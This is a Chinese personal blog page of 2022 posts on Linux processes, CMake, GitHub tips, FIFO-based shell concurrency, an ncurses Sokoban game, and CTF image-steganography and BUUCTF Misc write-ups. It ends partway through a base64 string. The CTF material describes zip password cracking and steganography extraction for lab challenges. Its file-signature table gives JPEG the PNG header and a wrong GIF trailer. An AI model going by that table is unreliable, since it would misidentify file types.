进程:进程是动态的,进程是一个加载到内存并运行的程序. 终端输入top你能看到当前加载到内存中的所有进程的进程ID,无论其状态如何(睡眠、僵尸等),守护进程(系统进程)和用户进程(您自动或手动启动的进程)都有自己的进程ID. 说到这,应该就能理解为什么PPID不会改变,而PID会改变了吧. 接下来说说PID和PPID PID(process ID): PID是程序被操作系统加载到内存成为进程后动态分配的资源。 每次程序执行的时候,操作系统都会重新加载,故PID在每次加载的时候都是不同的。 PPID(parent process ID):PPID是程序的父进程号。 要点: PID 是唯一的,一个 PID 只标识一个进程。 PID 并不总是按数字顺序分配. 一个进程创建的另一个新进程称为子进程。相反地,创建子进程的进程称为父进程。 对于一个普通的用户进程,它的父进程就是执行它的哪个Shell,对于Linux而言,Shell默认为bash. init是系统上所有进程的父进程. init进程(进程号PID为1)是linux内核(内核本身的PID为0)启动后第一个执行的进程。 init进程引导系统,启动守护进程并且运行必要的程序。 C语言获取PID和PPID的函数: 获取进程的PID:pid_t getpid(void); 获取进程的PPID:pid_t getppid(void); 例如: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(int argc, char *args[]) { // 获取当前进程的PID pid_t pid = getpid(); printf("pid = %d\n", pid); // 获取当前进程的PPID pid_t ppid = getppid(); printf("ppid = %d\n", ppid); return 0; } 关于更多对bash的了解或学习. 可以参考man页man bash或者查看Bash4.0参考文档.pdf 未完待续!…

2022/5/20
articleCard.readMore

CMake学习笔记📒

前言 本人一个小项目就是采用CMake来进行构建的.可以参考参考. 顺便点个star🌟 . 本文主要记录📝本人学习CMake中对与C和C++使用的一些知识点.方便日后复习.如有错误地方还请指正. 介绍 CMake是个一个开源的跨平台自动化建构系统,用来管理软件建置的程序,并不依赖于某特定编译器,并可支持多层目录、多个应用程序与多个库。 它用配置文件控制建构过程(build process)的方式和Unix的make相似,只是CMake的配置文件取名为CMakeLists.txt。CMake并不直接建构出最终的软件,而是产生标准的建构档(如Unix的Makefile或Windows Visual C++的projects/workspaces),然后再依一般的建构方式使用。这使得熟悉某个集成开发环境(IDE)的开发者可以用标准的方式建构他的软件,这种可以使用各平台的原生建构系统的能力是CMake和SCons等其他类似系统的区别之处。 CMake配置文件(CMakeLists.txt)可设置源代码或目标程序库的路径、产生适配器(wrapper)、还可以用任意的顺序建构可执行文件。CMake支持in-place建构(二进档和源代码在同一个目录树中)和out-of-place建构(二进档在别的目录里),因此可以很容易从同一个源代码目录树中建构出多个二进档。CMake也支持静态与动态程序库的建构。 “CMake”这个名字是”Cross platform Make”的缩写。虽然名字中含有”make”,但是CMake和Unix上常见的“make”系统是分开的,而且更为高端。 它可与原生建置环境结合使用,例如:make、ninja、苹果的Xcode与微软的Visual Studio。 安装&配置 去官方地址下载对应系统和框架并安装即可. Mac用户推荐:brew install cmake 安装完后,看一下版本号. 确保不低于 3.22.4 Windows用户若提示找不到命令可能需要手动配置路径到PATH环境变量下. 不过本人对Windows系统有很大意见,建议早日更换linux系统 另外,我们需要确保系统内有C/C++的编译工具🔧(mac用户有Xcode就有C的工具🔧链了) 例如 在Linux下需安装gcc或clang等 因为CMake本身不带编译工具🔧. 知识点 语法 cmake_minimum_required(VERSION 3.10) 指定版本 project(armor) 工程名称 set(CMAKE_BUILD_TYPE RELEASE) 指定编译类型 include_directories(include) 添加头文件目录 file(GLOB SOURCE “src/*.cpp” “main.cpp”) 源文件 add_library(armor SHARED ${SOURCE}) 生成动态链接库 add_library(armor STATIC ${SOURCE}) 生成静态链接库 set(PROJECT_LINK_LIBS libarmor.so) 将库文件存到变量中 link_directories(/home/wenda/cmake/demo_4/build) 添加外部库的搜索路径 target_link_libraries(main ${PROJECT_LINK_LIBS}) 链接外部库文件 add_executable(main main.cpp) 将源文件生成可执行文件 示例Demo 命令cmake -B build -G Ninja -DCMAKE_BUILD_TYPE=Release && cmake --build build --target all 直接拿我的一个推箱子小游戏项目中CMakeLists.txt作为示例Demo吧~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 cmake_minimum_required(VERSION 3.22) #设置CMake的最低版本 project(PushBox LANGUAGES C VERSION 1.1.4 DESCRIPTION "免费,开源,推箱子小游戏.A Free, Open Source, PushBox Game." HOMEPAGE_URL https://github.com/LanYunDev/PushBox ) #设置项目名称,语言类型,项目版本号,项目描述,项目主页。 if (PROJECT_BINARY_DIR STREQUAL PROJECT_SOURCE_DIR) #判断项目目录是否相同 message(WARNING "PROJECT_BINARY_DIR and PROJECT_SOURCE_DIR are the same. This is not recommended.") #输出警告信息 endif () #结束 if (NOT CMAKE_BUILD_TYPE) #判断是否有环境变量CMAKE_BUILD_TYPE set(CMAKE_BUILD_TYPE Release) #如果没有,则设置为Release endif () #结束 if (WIN32) #判断是否是Windows平台 add_definitions(-DNOMINMAX -D_USE_MATH_DEFINES) #在windows下,禁用min和max宏,并设置环境变量,防止C++编译器报错 endif () #结束 if (NOT MSVC) #判断是否MSVC编译器,不是则进入. find_program(CCACHE_PROGRAM ccache) #查找ccache编译器. if (CCACHE_PROGRAM) #如果有CCache编译器,则设置环境变量,能让编译带有缓存功能,提高编译速度,提高编译效率,提高编译稳定性. message(STATUS "Found CCache: CCACHE_PROGRAM: ${CCACHE_PROGRAM}") #输出提示信息 set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE ${CCACHE_PROGRAM}) #设置编译命令 set_property(GLOBAL PROPERTY RULE_LAUNCH_LINK ${CCACHE_PROGRAM}) #设置链接命令 endif () #结束 endif () #结束 # 若用户未指定BUILD_SHARED_LIBS,默认为OFF,即编译为STATIC静态库.设置为ON,则编译为SHARED动态库.不过推荐使用OBJECT对象库(此处未展开),虽然动态库更加稳定,更加安全.不过对Windows不友好. if (NOT DEFINED BUILD_SHARED_LIBS) #判断是否定义变量BUILD_SHARED_LIBS set(BUILD_SHARED_LIBS ON) #如果没有,则设置为ON endif () #结束 set(CMAKE_C_STANDARD 23) #设置C语言标准为C 23 set(CMAKE_C_STANDARD_REQUIRED ON) #编译器必须支持C 23,否则出错 set(CMAKE_C_EXTENSIONS ON) #开启GCC编译器对C语言扩展,只支持GCC编译器,降低对(Windows平台的)MSVC的兼容性 find_package(Curses REQUIRED) #查找Curses库 include_directories(${CURSES_INCLUDE_DIR}) #添加Curses库的头文件目录 file(GLOB SRC_FILES CONFIGURE_DEPENDS "${PROJECT_SOURCE_DIR}/src/*.cpp" "${PROJECT_SOURCE_DIR}/src/*.c" "${PROJECT_SOURCE_DIR}/src/*.h" ) #GLOB自动查找当前目录下指定拓展名的文件📃,实现批量添加源文件。添加CONFIGURE_DEPENDS选项,当添加新文件或源文件发生变化时,CMake会自动重新编译项目。 add_executable(${CMAKE_PROJECT_NAME} ${SRC_FILES}) #可执行文件名为PushBox,源文件为PushBox.c if (CMAKE_SYSTEM_NAME MATCHES "Darwin") #判断是否是Mac平台 target_link_libraries(${CMAKE_PROJECT_NAME} ${CURSES_LIBRARY}) #链接Curses库 ELSE () #其他Linux平台 target_link_libraries(${CMAKE_PROJECT_NAME} -lncursesw) #链接Curses库 endif () #结束 关于静态库,动态库哪些东西懒得写了.关于构建也是. 有机会再补充内容和更新吧~

2022/5/18
articleCard.readMore

Github部分使用技巧总结

前言 本文为方便学习,记录📝而做. 搜索🔍 GitHub的高级搜索🔍功能你用过吗? 姿势一 点我打开高级搜索🔍 姿势二 搜索🔍界面打开高级搜索 关于搜索详细用法可查看官方文档: About searching on GitHub - GitHub Docs 搜索代码 - GitHub Docs 查找文件📃 在项目界面按 t 可进行文件查找 在点击源代码后,按 l 可跳转到输入的指定行. 点击行号:可进行复制行代码,生成永久链接等操作 例如: 查看改动记录📝 在源代码中按 b 可查看文件📃的改动记录📝 例如: 想看更多键盘快捷键? 键盘快捷键 - GitHub Docs GitHub Markdown Cheat Sheet 在线阅读代码📝 使用想在线vscode? 在仓库或者文件界面按下 . 键. 即可进入在线vscode. 在线运行项目📝 在项目地址前加上gitpod.io/#/前缀 貌似开代理的话,进不去 例如: https://github.com/LanYunDev/PushBox => https://gitpod.io/#/github.com/LanYunDev/PushBox 首先需要我们登陆: Command Palette(命令调色板) 在您的组织或存储库之间快速导航和跳跃,并使用新的命令调色板搜索最近的问题、拉取请求、项目等。您还可以执行省时命令,而无需将手指从键盘上抬起! 要打开命令调色板,请执行以下操作: macOS:⌘ k或⌘ opt k 其他:Ctrl k或Ctrl alt k

2022/5/7
articleCard.readMore

实现Shell“多线程”

前言 Shell一行行地执行实在是太影响效率.本文将带你提升你的Shell执行效率,采用伪”多线程”的方式启动多个后端进程,最大程度利用cpu性能. 本文代码关键点有一定的注释,方便读者理解并灵活使用.本文示例及部分内容摘录自互联网,由本人整理成以下内容.遵守CC BY-NC-SA 4.0协议. 先问你一个问题. 多线程有什么用? 这里引用知乎pansz用户的回答 单进程单线程:一个人在一个桌子上吃菜 单进程多线程:多个人在同一个桌子上一起吃菜 多进程单线程:多个人每个人在自己的桌子上吃菜 多线程的问题是多个人同时吃一道菜的时候容易发生争抢 例如两个人同时夹一个菜,一个人刚伸出筷子,结果伸到的时候已经被夹走菜了… 此时就必须等一个人夹一口之后,在还给另外一个人夹菜,也就是说资源共享就会发生冲突争抢。 对于 Windows 系统来说,【开桌子】的开销很大,因此 Windows 鼓励大家在一个桌子上吃菜。因此 Windows 多线程学习重点是要大量面对资源争抢与同步方面的问题。 对于 Linux 系统来说,【开桌子】的开销很小,因此 Linux 鼓励大家尽量每个人都开自己的桌子吃菜。这带来新的问题是:坐在两张不同的桌子上,说话不方便。因此,Linux 下的学习重点大家要学习进程间通讯的方法。 开桌子的意思是指创建进程,开销这里主要指的是时间开销. 注意,线程和进程是不同的! 多线程就像火车的多个车厢,而进程则是火车。 在我们实现多线程之前,先了解2个概念. 有名管道FIFO和File Descriptor (FD) 有名管道FIFO 管道文件有两种,一个是有名管道,一个是匿名管道。 “FIFO”则是有名管道(有名字的)。 它的特性是:如果一个进程打开FIFO文件进行写操作,而另一个进程对之进行读操作,数据就可以如同在shell或者其它地方常见的的匿名管道一样流线执行。 利用有名管道FIFO的上述特性就可以实现一个队列控制了。 **你可以这样想:一个女士公共厕所总共就10个蹲位,这个蹲位就是队列长度。**女厕所门口放着10把钥匙,要想上厕所必须拿一把钥匙,上完厕所后归还钥匙,下一个人就可以拿钥匙进去上厕所了。好,现在同时来了1000位美女要上厕所,那前10个人抢到钥匙进去上厕所了,后面的990人就需要等一个人出来归还钥匙后才可以拿到钥匙进去上厕所,这样10把钥匙就实现了控制1000人上厕所的任务(os中称之为信号量)。 mkfifo命令可用于创建fifo: 1 mkfifo $tmp_fifofile # 新建一个fifo类型的文件 管道具有存一个读一个,读完一个就少一个,没有则阻塞,放回的可以重复取的特点。这正是队列特性,但问题是如果往管道文件里面放入一段内容,没人取则会阻塞,这样你永远也没办法往管道里面同时放入10段内容(相当于10把钥匙),解决这个问题的关键就是文件描述符(File Descriptor,FD)了。 File Descriptor (FD) Linux shell中的File Descriptor (FD),可以理解为一个指向文件的指针。 默认有三个FD:0,1,2。Shell中还允许有3到9的FD,默认都没有打开,可以认为指向null。使用如下命令可查看FD: 1 ls /proc/self/fd 在macOS上使用命令 ls /dev/fd/ 利用重定向>&可以为一个FD赋值,使其指向一个非null的文件,其实就是打开一个FD: 1 2 3 6>&1 # 可以理解为将FD6指针指向FD1指针指向的文件 # 这样,FD6和FD1就同时指向同一个文件 将FD6指针置为空值null,可关闭FD6: 1 6>&- 一个重定向只在当前命令中有效。通过exec可以使IO重定向在当前shell中长期有效: 1 2 3 4 # 打开FD6 exec 6>&1 # 关闭FD6 exec 6>&- 再回到我们刚才的1000位美女要去厕所,解决一个管道文件不能放10把“钥匙”的问题: 先利用exec 6<>/tmp/fd1 创建文件描述符6关联管道文件。 这时,6这个文件描述符就拥有了管道的所有特性(存一个读一个,读完一个就少一个,没有则阻塞,放回的可以重复取)。除此之外,它还拥有一个管道不具有的特性:无限存不阻塞,无限取不阻塞,且不用关心管道内是否为空、是否有内容写入引用文件描述符。 &6可以执行n次echo >&6 往管道里放入n把钥匙。 接下来就是怎么使用FIFO和FD实现shell”多线程”了~ shell”多线程”示例脚本 **需求:**并发处理1000个命令,如何用shell实现? 方案1.挨个挨个处理 这个是最容易想到的,用for循环1000次即可。 1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash date # 脚本开始时间 for ((i=1;i<=1000;i++)) do sleep 1 #sleep 1用来模仿执行一条命令需要花费的时间(可以用真实命令来代替) echo 'success'$i; done date # 脚本结束时间 一个for循环1000次相当于需要处理1000个文件,循环体用sleep 1代表运行一条命令需要的时间,用success$i来标示每条任务。 这样写的问题是,1000条命令都是顺序执行的,假如每条命令的运行时间是1秒,那么1000条命令的运行时间则为1000秒,效率相当低,不满足我们并发处理1000个命令的需求。而且,假如在顺序执行到第900个文件时,发现该文件有问题,那么到这时所需要的时间就是900s! 所以,问题的关键点是:如何实现并发? 方案2.使用’&’+wait 实现“多线程” 我们通过后台运行(&),wait等待所有子后台进程结束实现”多线程”。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/bin/bash date # 脚本开始时间 for ((i=1;i<=1000;i++)) do { sleep 1 #sleep 1用以模仿执行一条命令需要花费的时间(可以用真实命令来代替) echo 'success'$i; }& #用{}把循环体括起来,后加一个&符号,代表每次循环都把命令放入后台运行 #一旦放入后台,就意味着{}里面的命令交给操作系统的一个线程处理了 #循环了1000次,就有1000个&将任务放入后台,操作系统会并发1000个线程来处理 done wait #wait命令表示。等待上面的命令(放入后台的任务)都执行完毕了再往下执行 date # 脚本结束时间 shell中实现并发,就是把循环体的命令用&符号放入后台运行,1000个任务就会并发1000个线程,运行时间2s左右,比起方案一的1000s,已经非常快了。 但问题是,’&’+wait 这种方法对线程并发数不可控。如果有很多文件,系统会随着高并发压力的不断攀升,处理速度变得越来越慢。 打个简单的比方,方案1是有1000块砖,你每次搬一块,虽然慢但是搬得动;方案2是有1000块砖,一次搬1000块,搬到后面是不是会越来越吃力?而下面要说的方案3,则是设置每次搬的数量,比如5块,提高效率又不会伤身体。 方案3.使用FIFO实现“多进程” 先新建一个FIFO,写入一些字符。一个进程开始前会先从这个FIFO中读走一个字符,执行完之后再写回一个字符。如果FIFO中没有字符,该线程就会等待,fifo就成了一个锁。 下面是设置5个线程的例子: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/bin/bash #将1000个bam文件进行转bed start_time=`date +%s` #定义脚本运行的开始时间 tmp_fifofile="/tmp/$$.fifo" mkfifo $tmp_fifofile # 新建一个FIFO类型的文件 exec 6<>$tmp_fifofile # 将FD6指向FIFO类型 rm $tmp_fifofile #删也可以, thread_num=5 # 定义最大线程数 #根据线程总数量设置令牌个数 #实际上就是在fd6中放置了$thread_num个回车符 for ((i=0;i<${thread_num};i++));do echo done >&6 for i in data/*.bam # 找到data文件夹下所有bam格式的文件 do # 一个read -u6命令执行一次,就从FD6中减去一个回车符,然后向下执行 # 当FD6中没有回车符时,就停止,从而实现线程数量控制 read -u6 { echo "great" # 可以用实际命令代替 echo >&6 # 当进程结束以后,再向FD6中加上一个回车符,即补上了read -u6减去的那个 } & done wait # 要有wait,等待所有线程结束 stop_time=`date +%s` # 定义脚本运行的结束时间 echo "TIME:`expr $stop_time - $start_time`" # 输出脚本运行时间 exec 6>&- # 关闭FD6 echo "over" # 表示脚本运行结束 注意:实际运用中,要先测试代码是否正确,然后再进行多线程。 参考: 1 2 本来想写点 xargs 的,但unix上的命令和linux参数不一样,然后感觉精力有限,就不写了.欢迎读者自己去了解Linux xargs命令详解shell高效处理文本(1):xargs并行处理

2022/5/5
articleCard.readMore

推箱子小游戏制作成果

前言 这个是我学校工程实践的作业.作业采用C语言编写,语言标准C23,采用全程采用Clion作为我的IDE进行编写和调试. 如果你遇到一些坑,可以参考一下我的CMakeLists.txt文件或者在尝试我博客中寻找解决办法. 另外本项目开源啦~ 欢迎👏点个Star~ 个人觉得本项目有很大提升空间(不过好在绝大多数代码行或块都有注释,阅读起来十分清晰.),欢迎👏提Issues和PR(Pull requests). 欢迎到我博客上去玩耍噢~ 博客上也有推箱子小游戏噢~ 对于代码内容关于ncurses.h库那些函数不太明白可以看看我写的这篇文章噢 功能 目前实现的功能有: 已实现在无限步数下的撤回操作 基于链表的有限步数下的单次回滚(撤回)等操作 (通俗点说,就是不支持多次撤回,撤回的前一步不能是撤回步骤) 基于ncurses.h库而实现的窗口和方向键等功能 (本程序多次使用这个库里面的函数,建议了解并学习后使用它) 在玩过的关卡中可自由选择关卡 通过文件读写方式存数据和地图 支持数据文件丢失后的自动重置 支持数据文件是否合法等的检查 有通过关卡到下一关的提示界面 有结束游戏开始保存数据的界面 关卡数和关卡游玩时间显示功能 等等… 如何运行? 前提: 环境中有ncurses.h库,中文字体库及其一些特殊字符. 目前已知能够在Unix等Linux类OS下运行.Windows用户请自行测试(大概率不支持). 在main.c目录下输入命令: 1 2 gcc main.c -o PushBox -lncurses ./PushBox 然后就可以快乐地玩耍啦~ 游戏🎮游玩示例GIF图: Todo 我鸽了,欢迎大佬补充然后做. 自动寻路算法 无限回滚操作 已完成✅–本人实现 自动生成地图文件 优化代码及其性能 等等…

2022/5/5
articleCard.readMore

Ncurses库的学习笔记📒(含Mac Clion配置)

前言 因为Mac上面一些windows做游戏的第三方库用不了,比如curses.h,还有那个EasyX,烦死了.被迫学习一个新Ncurses库.而这个库配置在Mac上我完全不会,而且用Xcode非常难受 全英文,太难受了,受不了,而且好不容易设置好other flag 啥的还是寄的,所以Xcode就是垃圾傻逼软件. ,在Clion上也不会配置.经过几天的学习,调试,配置.打算将我弄好的经验分享一下.顺便记录📝一下关于Ncurses库的学习.好了,废话不多说,我们开始吧! 安装 Mac貌似默认就有这个库. 不太清楚 不过为了完整性,我们还是安装一下. 1 brew install ncurses Linux下的命令是: 1 sudo apt-get install libncurses5-dev 配置 编辑CMakeLists.txt文件.例如你的项目名为test,在末尾这样改写. cmakelists文件我现在都还搞啥不懂,所以是改写了. 1 2 3 4 5 find_package(Curses REQUIRED) include_directories(${CURSES_INCLUDE_DIR}) add_executable(test test.c) target_link_libraries(test ${CURSES_LIBRARY}) 配置完,稍微介绍一下.Ncurses是什么? 介绍 Ncurses是一个能提供功能键定义(快捷键),屏幕绘制以及基于文本终端的图形互动功能的动态库。 例子 举个C语言的例子叭.先随手写一个简单的例子.文件名为test.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <ncurses.h> #include <stdlib.h> #include <string.h> int main(void){ initscr(); raw(); noecho(); curs_set(0); char* c = "My First Window"; mvprintw(LINES/2,(COLS-strlen(c))/2,c); printw("\nHello World!"); refresh(); getch(); endwin(); return EXIT_SUCCESS; } 编译 1 gcc test.c -o test -lncurses 运行 1 ./test 如动图所示. 代码解释 代码解释 initscr();初始化curses窗口,进入NCURSES模式 raw();这个函数会阻止字符缓冲,令程序即时处理键盘输入 一些终端命令(中断[Ctrl-c],挂起[Ctrl-z])也会被交给程序处理 noecho();屏蔽输入字符显示,键盘输入的字符将不被显示 curs_set(0);调用会屏蔽掉物理指针 mvprintw(LINES/2,(COLS-strlen(c))/2,c);输出字符串,三个参数分别为y位置,x位置和字符指针 printw();和printf()一样的具有格式化输出的一类函数 refresh();刷新屏幕 getch();读取键盘输入 endwin();关闭窗口,退出NCURSES模式 用法 略.略略略~ 参考:官方手册 杂记 以下内容截取互联网. 关于initscr() 函数 initscr()函数将终端屏幕初始化为curses模式。它用来清除屏幕上所有的字符,并等待下一步处理。 所以在调用其它的 curses 函数前,要先调用initscr()函数初始化屏幕。 这个函数初始化了curses系统并且为当前屏幕(也就是“stdscr”)和相关的数据结构分配内存。 在以前的计算机上曾经出现过一个极端的例子:因为系统中的可用内存太小,以至于initscr() 函数无法分配足够的内存给相关的数据结构,从而导致curses 系统初始化失败 关于refresh() 函数 在我们使用printw函数打印“Hello World!”时,实际上这个消息打印到了一个叫作“stdscr”的虚拟窗口上. 没有被直接输出到屏幕上。printw()函数的作用是不断将一些显示标记和相关的数据结构写在虚拟显示器上, 并将这些数据写入 stdscr 的缓冲区内。为了显示这些缓冲区中的数据我们必须使用 refresh()函数告诉curses系统将缓冲区的内容输出到屏幕上。 通过这种机制程序员能够不断在虚拟屏幕上写数据。然后调用refresh()函数让输出的操作看起来是一次完成的。 因为refresh()函数只核查窗口和数据中变动的部分,这种富有弹性的设计提供了一个高效的反馈机制。 但是这有时很打击初学者的积极性。因为对于初学者来说忘记在输出后调用refresh()函数是很恼人的错误。 不过不用担心,很多人都会犯这样的错误。 关于endwin()函数 最后,别忘了退出curses 模式。否则,在程序结束后你的终端可能会运转得不正常。endwin()函数释放了curses子系统和相关数据结构占用的内存, 使你能够正常返回控制台模式。这个函数必须是在你完成所有的curses 操作以后才可以调用。 (译者注:如果你在endwin()函数后再调用其它的curses 的函数。很显然,那些语句不会执行。) 说到这里,顺便提醒一下。如果你的程序不能正常地显示东西了。 请务必看看initscr()函数和endwin()函数是不是在不该被调用的地方调用了。

2022/4/30
articleCard.readMore

Misc - 图片隐写浅记📝

前言 本文出于本人方便查询回忆的考虑并没有针对其他人进行阅读内容优化.由于本人技术有限,若有地方存在瑕疵或错误.欢迎👏指出,本人将虚心学习.谢谢! 命令类 strings 打印文件中可打印的字符。 作用:可找出图片中隐写的字符串 grep 用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设grep指令会把含有范本样式的那一列显示出来。 输入grep -a "flag" xxx.jpg 则会把文件中含”flag”字符串部分前后显示出来。 file 用于辨识文件类型。 可以显示文件的格式,属性等信息。 binwalk 用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具,即可以查看文件中含有的其他文件。 在CTF中binwalk常用于分析隐藏文件。 参数: -e 分离出文件到新文件夹中,使用此参数还需带上--run-as=root(但可能不全) foremost(很拉) 提取文件 进制类 用010 editor(winhex也行,不过我是Mac用户)打开分析 建议看看这篇文章.常用文件头文件尾记录📝 有助于你在16进制中对文件头或文件尾的识别和修复. 例如 在文件尾后直接隐写内容. 文件头修改,破坏,伪加密等 其他类 隐藏帧 长高不匹配,CRC错误 数据块IDAT修改 LSB隐写(“最低有效位隐写”) 不带密钥: zsteg(检测PNG和BMP图片里的隐写数据) 用法 用法: zsteg [options] filename.png [param_string] -c, --通道 X通道(R/G/B/A)或任何组合,逗号分隔 有效值:R,G,B,A,Rg,Bgr,Rgba,R3G2b3,...-l, --limit 检查的N个限制字节,0 = 无限制(默认:256)。-b, --bits N位数,单个int值或'1,3,5'或范围'1-8'。 高级:指定单个比特,如'00001110'或'0x88'。 --lsb 最小有效的BIT在前 --msb最重要的BIT在前--P, --素数 只分析/提取素数字节/像素 --invert invert bits (XOR 0xff)-a, --全部尝试所有已知的方法-o, --order X像素迭代顺序(默认:'auto')。 有效值。ALL,xy,yx,XY,YX,xY,Xy,bY,...--E, --extract NAME提取指定的有效载荷,NAME类似于 "1b,rgb,lsb --[no-]file 使用'file'命令来检测数据类型(默认:YES) --no-strings 禁用ASCII字符串查找(默认:启用)-s, --strings X ASCII 字符串查找模式:第一、全部、最长、无 (默认:第一个)-n, --min-str-len X 最小字符串长度(默认:8) --shift N prepend N zero bits-v, --verbose 冗长地运行(可以多次使用)。-q, --quiet 沉默任何警告(可以多次使用)。-C, --[no-]color 强制(或禁用)彩色输出(默认:自动)。 params快捷方式 zsteg fname.png 2b,b,lsb,xy ==> –位数 2 –通道 b –lsb –顺序 xy 英文原版: Usage: zsteg [options] filename.png [param_string] -c, --channels X channels (R/G/B/A) or any combination, comma separated valid values: r,g,b,a,rg,bgr,rgba,r3g2b3,...-l, --limit N limit bytes checked, 0 = no limit (default: 256)-b, --bits N number of bits, single int value or '1,3,5' or range '1-8' advanced: specify individual bits like '00001110' or '0x88' --lsb least significant BIT comes first --msb most significant BIT comes first-P, --prime analyze/extract only prime bytes/pixels --invert invert bits (XOR 0xff)-a, --all try all known methods-o, --order X pixel iteration order (default: 'auto') valid values: ALL,xy,yx,XY,YX,xY,Xy,bY,...-E, --extract NAME extract specified payload, NAME is like '1b,rgb,lsb' --[no-]file use 'file' command to detect data type (default: YES) --no-strings disable ASCII strings finding (default: enabled)-s, --strings X ASCII strings find mode: first, all, longest, none (default: first)-n, --min-str-len X minimum string length (default: 8) --shift N prepend N zero bits-v, --verbose Run verbosely (can be used multiple times)-q, --quiet Silent any warnings (can be used multiple times)-C, --[no-]color Force (or disable) color output (default: auto) PARAMS SHORTCUT zsteg fname.png 2b,b,lsb,xy ==> –bits 2 –channel b –lsb –order xy 例如: zsteg xx.png 分析出 abc file:PNG image data ,只需 zsteg -e abc > output.png 得到文件📃 带密钥: 使用cloacked-pixel脚本 本人弄不好环境略.

2022/4/28
articleCard.readMore

常用文件头文件尾记录📝

前言 仅供本人使用,且仅供参考. 格式文件头文件尾 JPEG (jpg)89 50 4E 47FF D9 GIF(gif)47 49 46 3800 38 PNG(png)89 50 4E 47AE 42 60 82 ZIP Archive (zip)50 4B 03 0450 4B TIFF (tif)49 49 2A 00 Windows Bitmap (bmp)42 4D CAD (dwg)41 43 31 30 Adobe Photoshop (psd)38 42 50 53 Rich Text Format (rtf)7B 5C 72 74 66 XML (xml)3C 3F 78 6D 6C HTML (html)68 74 6D 6C 3E Email [thorough only] (eml)44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A Outlook Express (dbx)CF AD 12 FE C5 FD 74 6F Outlook (pst)21 42 44 4E MS Word/Excel (xls.or.doc)D0 CF 11 E0 MS Access (mdb)53 74 61 6E 64 61 72 64 20 4A WordPerfect (wpd)FF 57 50 43 Adobe Acrobat (pdf)25 50 44 46 2D 31 2E Quicken (qdf)AC 9E BD 8F Windows Password (pwl)E3 82 85 96 RAR Archive (rar)52 61 72 21 Wave (wav)57 41 56 45 AVI (avi)41 56 49 20 Real Audio (ram)2E 72 61 FD Real Media (rm)2E 52 4D 46 MPEG (mpg)00 00 01 BA MPEG (mpg)00 00 01 B3 Quicktime (mov)6D 6F 6F 76 Windows Media (asf)30 26 B2 75 8E 66 CF 11 MIDI (mid)4D 54 68 64

2022/4/28
articleCard.readMore

BUUCTF Misc WP(Wirte Up)部分解题参考步骤

前言 本文旨在记录📝做题过程并对新人提供一点点参考价值等,其中可能有些没有解释说明或者存在有点瑕疵.欢迎👏在评论区指出问题,本人看到会更正! 另外题目有多种解法,其他解法,不再赘述,欢迎👏各位把自己的方法思路填到评论区. 另外出于简便性考虑,点我下载后续不再打出,你需要分辨并知道这是个下载链接🔗并下载. 题目 签到 flag{buu_ctf} 金三胖 点我下载aaa.gif Mac用户 直接双击打开.即可打开每一帧的画面 将不需要的帧删除,即可获得我们的flag flag{he11ohongke} 其他用户 方法一 使用stegsolve打开此GIF图 然后按>逐帧查看就行了 方法二 貌似kali下的照片查看可以看逐帧反正我的不行. 这边推荐几个逐帧分析工具: PhotoShop 会将每帧分为一层图层,即可查看。 Stegsolve.jar 打开图片后,点击”Analyse”中的”Frame Browser”也可以逐帧查看。 Ulead GIF 二维码 点我下载QR_code.png 二维码扫描结果是 secret is here 大小672字节,很显然大概率藏了东西 用binwalk看看.果然有东西,我们把这个Zip压缩包弄出(加上 -e 参数) 进入提取出的目录,发现那个压缩包有密码. 一看是Zip格式,于是使用fcrackzip进行破解. 速度非常快,amazing,密码出来了!是 7639 解压打开那个txt,得到flag flag{vjpw_wnoei} 你竟然赶我走 点我下载biubiu.jpg 方法一 用010 editor打开 末尾就是flag 方法二 用stegsolve打开,看文件信息,得到flag flag{stego_is_s0_bor1ing} N种方法解决 点击KEY.exe.7z 需解压 用Sublime text强大的工具🔧或其他文本工具🔧打开 编码内容 1 data:image/jpg;base64,iVBORw0KGgoAAAANSUhEUgAAAIUAAACFCAYAAAB12js8AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAArZSURBVHhe7ZKBitxIFgTv/396Tx564G1UouicKg19hwPCDcrMJ9m7/7n45zfdxe5Z3sJ7prHbf9rXO3P4lLvYPctbeM80dvtP+3pnDp9yF7tneQvvmcZu/2lf78zhU+5i9yxv4T3T2O0/7eud68OT2H3LCft0l/ae9ZlTo+23pPvX7/rwJHbfcsI+3aW9Z33m1Gj7Len+9bs+PIndt5ywT3dp71mfOTXafku6f/2uD09i9y0n7NNd2nvWZ06Ntt+S7l+/68MJc5O0OSWpcyexnFjfcsI+JW1ukpRfv+vDCXOTtDklqXMnsZxY33LCPiVtbpKUX7/rwwlzk7Q5JalzJ7GcWN9ywj4lbW6SlF+/68MJc5O0OSWpcyexnFjfcsI+JW1ukpRfv+vDCXOTWE7a/i72PstJ2zfsHnOTpPz6XR9OmJvEctL2d7H3WU7avmH3mJsk5dfv+nDC3CSWk7a/i73PctL2DbvH3CQpv37XhxPmJrGctP1d7H2Wk7Zv2D3mJkn59bs+nDA3ieWEfdNImylJnelp7H6bmyTl1+/6cMLcJJYT9k0jbaYkdaansfttbpKUX7/rwwlzk1hO2DeNtJmS1Jmexu63uUlSfv2uDyfMTWI5Yd800mZKUmd6Grvf5iZJ+fW7PjzJ7v12b33LSdtvsfuW75LuX7/rw5Ps3m/31rectP0Wu2/5Lun+9bs+PMnu/XZvfctJ22+x+5bvku5fv+vDk+zeb/fWt5y0/Ra7b/ku6f71+++HT0v+5l3+tK935vApyd+8y5/29c4cPiX5m3f5077emcOnJH/zLn/ar3d+/flBpI+cMDeNtJkSywn79BP5uK+yfzTmppE2U2I5YZ9+Ih/3